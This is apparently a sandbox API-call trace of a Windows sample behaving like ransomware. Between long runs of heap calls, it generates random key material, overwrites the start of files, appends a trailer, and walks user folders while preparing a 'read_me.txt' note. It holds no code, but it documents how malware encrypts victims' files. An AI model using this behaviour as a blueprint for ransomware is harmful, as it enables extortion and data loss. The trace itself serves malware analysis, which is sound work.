[0085.734] GetProcessHeap () returned 0x540000 [0085.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.734] GetProcessHeap () returned 0x540000 [0085.734] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.734] GetProcessHeap () returned 0x540000 [0085.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.735] GetProcessHeap () returned 0x540000 [0085.735] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.736] GetProcessHeap () returned 0x540000 [0085.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.736] GetProcessHeap () returned 0x540000 [0085.736] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.736] GetProcessHeap () returned 0x540000 [0085.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.736] GetProcessHeap () returned 0x540000 [0085.736] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.736] GetProcessHeap () returned 0x540000 [0085.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.736] GetProcessHeap () returned 0x540000 [0085.736] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.736] GetProcessHeap () returned 0x540000 [0085.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.736] GetProcessHeap () returned 0x540000 [0085.736] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.736] GetProcessHeap () returned 0x540000 [0085.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.736] GetProcessHeap () returned 0x540000 [0085.736] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.736] GetProcessHeap () returned 0x540000 [0085.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.736] GetProcessHeap () returned 0x540000 [0085.736] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.736] GetProcessHeap () returned 0x540000 [0085.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.736] GetProcessHeap () returned 0x540000 [0085.736] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.736] GetProcessHeap () returned 0x540000 [0085.737] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.737] GetProcessHeap () returned 0x540000 [0085.737] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.737] GetProcessHeap () returned 0x540000 [0085.738] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.738] SetFilePointerEx (in: hFile=0x8d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.738] WriteFile (in: hFile=0x8d8, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.738] WriteFile (in: hFile=0x8d8, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.738] GetProcessHeap () returned 0x540000 [0085.738] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0085.738] GetProcessHeap () returned 0x540000 [0085.738] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0085.738] GetProcessHeap () returned 0x540000 [0085.738] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.738] CloseHandle (hObject=0x8d8) returned 1 [0085.740] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 88 [0085.740] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.740] ReadFile (in: hFile=0x8dc, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0085.740] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.740] GetProcessHeap () returned 0x540000 [0085.740] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0085.740] GetProcessHeap () returned 0x540000 [0085.740] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0085.740] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0085.741] GetProcessHeap () returned 0x540000 [0085.741] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0085.741] ReadFile (in: hFile=0x8dc, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0085.788] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.788] WriteFile (in: hFile=0x8dc, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0085.788] GetProcessHeap () returned 0x540000 [0085.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.789] GetProcessHeap () returned 0x540000 [0085.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0085.790] GetProcessHeap () returned 0x540000 [0085.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.791] GetProcessHeap () returned 0x540000 [0085.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0085.792] GetProcessHeap () returned 0x540000 [0085.792] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.793] GetProcessHeap () returned 0x540000 [0085.793] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0085.793] GetProcessHeap () returned 0x540000 [0085.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0085.793] GetProcessHeap () returned 0x540000 [0085.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0085.793] GetProcessHeap () returned 0x540000 [0085.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0085.793] GetProcessHeap () returned 0x540000 [0085.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0085.793] GetProcessHeap () returned 0x540000 [0085.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0085.793] SetFilePointerEx (in: hFile=0x8dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.793] WriteFile (in: hFile=0x8dc, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0085.793] WriteFile (in: hFile=0x8dc, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0085.793] GetProcessHeap () returned 0x540000 [0085.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0085.793] GetProcessHeap () returned 0x540000 [0085.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0085.793] GetProcessHeap () returned 0x540000 [0085.793] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0085.793] CloseHandle (hObject=0x8dc) returned 1 [0085.794] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 89 [0085.794] GetProcessHeap () returned 0x540000 [0085.794] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42020b8 [0085.796] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Videos\\*") returned 42 [0085.796] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\My Videos\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x2000002, ftCreationTime.dwLowDateTime=0x333fa70, ftCreationTime.dwHighDateTime=0x540150, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x540000, ftLastWriteTime.dwLowDateTime=0x540150, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x41b1088, nFileSizeLow=0x540150, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="ႀЛ", cAlternateFileName="")) returned 0xffffffff [0085.798] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Videos\\read_me.txt") returned 52 [0085.798] GetProcessHeap () returned 0x540000 [0085.798] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42020b8 | out: hHeap=0x540000) returned 1 [0085.798] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 84 [0085.798] GetProcessHeap () returned 0x540000 [0085.798] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0085.799] GetProcessHeap () returned 0x540000 [0085.799] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42020b8 [0085.799] wnsprintfW (in: pszDest=0x42020b8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Downloads\\*") returned 32 [0085.799] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x285fb60 | out: lpFindFileData=0x285fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1b00f4f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1b00f4f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName=".", cAlternateFileName="")) 